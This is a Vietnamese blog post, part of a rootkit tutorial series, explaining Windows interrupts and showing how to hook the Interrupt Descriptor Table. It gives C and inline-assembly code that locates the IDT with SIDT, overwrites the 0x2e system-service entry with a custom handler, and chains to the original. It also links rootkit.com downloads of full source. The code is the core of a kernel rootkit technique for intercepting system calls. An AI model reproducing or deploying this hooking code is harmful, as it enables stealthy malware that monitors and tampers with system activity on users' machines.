Trao đổi với tôi

http://www.buidao.com

7/1/09

[Rootkit] Kỹ thuật biến đổi nhân của Windows – Phần 2 : Nghệ thuật gây đột biến mã(3).

Kỹ thuật biến đổi nhân của Windows – Phần 2 : Nghệ thuật gây đột biến mã(3).

Link gốc: http://hardsoftvn.wordpress.com/category/bai-phan-tich-h%C6%B0%E1%BB%9Bng-d%E1%BA%ABn/

-Trong bài này , tôi sẽ bàn về kỹ thuật gậy đột biến bảng IDT (Interrupt Descriptor Table) (tạm dịch là bảng mô tả các ngắt) . Ngắt là từ dùng để chỉ cơ chế mà hệ điều hành dùng để gây đột biến một tiến trình bất kỳ (đúng vậy , hệ điều hành cũng muốn chiếm quyền kiểm soát một tiến trình nào đó khi nó thấy cần ), Có ba loại ngắt là : ngắt phần mềm , ngắt phần cứng và ngắt ngoại lệ .

-Ngắt phần cứng do nhà sản xuất quy định . Ví dụ : bất cứ khi nào một tiến trình nhập xuất hòan thành thì một ngắt phần cứng sẽ xảy ra. Ở đây chúng ta sẽ không quan tâm tới lọai ngắt này .

- Ngắt phần mềm là kết quả của một yêu cầu giúp đỡ từ phần mềm đến hệ điều hành . Phần mềm khi muốn tiếp xúc với dịch vụ hệ thống (đã nói ở bài trước) sẽ thông qua ngắt này . Điều này có nghĩa là ngắt sẽ được gọi trước khi bất kỳ dịch vụ hệ thống nào được gọi.

- Ngắt ngọai lệ xảy ra khi một tiến trình thực thi một lệnh bất hợp pháp như lấy 1 số chia cho 0 .

- Lệnh SIDT dùng để xác định vị trí của bảng IDT , giá trị trả về là cấu trúc IDTINFO

////////////////////////////////////////////////////////////////////////////

typedef struct

{

WORD IDTLimit;


WORD LowIDTbase;

WORD HiIDTbase;

} IDTINFO;

#define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))


////////////////////////////////////////////////////////////////////////////

-Sau đây là mã nguồn của hàm dùng để gây đột biến của fuzen_op . Nó sẽ thay địa chỉ của hàm 0×2e (hàm dùng để đảm nhận ngắt phần mềm) bằng địa chỉ của một hàm do ta định sẵn :

////////////////////////////////////////////////////////////////////////////

DWORD KiRealSystemServiceISR_Ptr; // biến lưu địa chỉ của hàm 0×2e thật


#define NT_SYSTEM_SERVICE_INT 0×2e


int HookInterrupts()

{

IDTINFO idt_info;

IDTENTRY* idt_entries;

IDTENTRY* int2e_entry;

__asm{


sidt idt_info;

}

idt_entries =

(IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);

KiRealSystemServiceISR_Ptr = // Lưu địa chỉ của hàm 2

MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,


idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);

int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);

__asm{

cli; // Ngưng ngắt

lea eax,MyKiSystemService; // Lưu địa chỉ của hàm đột biến vào thanh ghi EAX

mov ebx, int2e_entry; // Lưu địa chỉ của hàm 0×2e vào thanh ghi EBX


mov [ebx],ax; // Ghi đè địa chỉ của hàm 0×2e bằng địa chỉ của hàm đột biến

shr eax,16

mov [ebx+6],ax;

sti; // Kích họat ngắt

}

return 0;


}

////////////////////////////////////////////////////////////////////////////

-Bây giờ bạn đã có thể gây đột biến bảng IDT . Từ đây bạn có thể theo dõi và ngăn chặn bất cứ yêu cầu sử dụng dịch vụ hệ thống nào từ vòng số 3 . Nên nhớ : số thứ tự của dịch vụ hệ thống(nhờ số này có thể lần ra tên của dịch vụ và chức năng của nó ) đang được yêu cầu sẽ được lưu trong thanh ghi EAX . Bạn có thể biết được tiến trình nào đang gọi bằng hàm PsGetCurrentProcess. Sau đây là ví dụ về hàm đột biến :

////////////////////////////////////////////////////////////////////////////

__declspec(naked) MyKiSystemService()

{

__asm{

pushad


pushfd

push fs

mov bx,0×30

mov fs,bx

push ds

push es


// Đặt mã xử lý thông tin vào đây

Finish:

pop es

pop ds

pop fs

popfd


popad

jmp KiRealSystemServiceISR_Ptr; // Gọi hàm 0×2e

}

}

////////////////////////////////////////////////////////////////////////////

- Mã nguồn của ví dụ gây đột biến bảng IDT (Win 2000) có thể tải ở đây : www.rootkit.com/vault/fuzen_op/strace_Fuzen.zip , dành cho win xp ở đây : www.rootkit.com/vault/fuzen_op/SysEnterHook.zip

- Đăng bởi Trần Hữu Đăng Khoa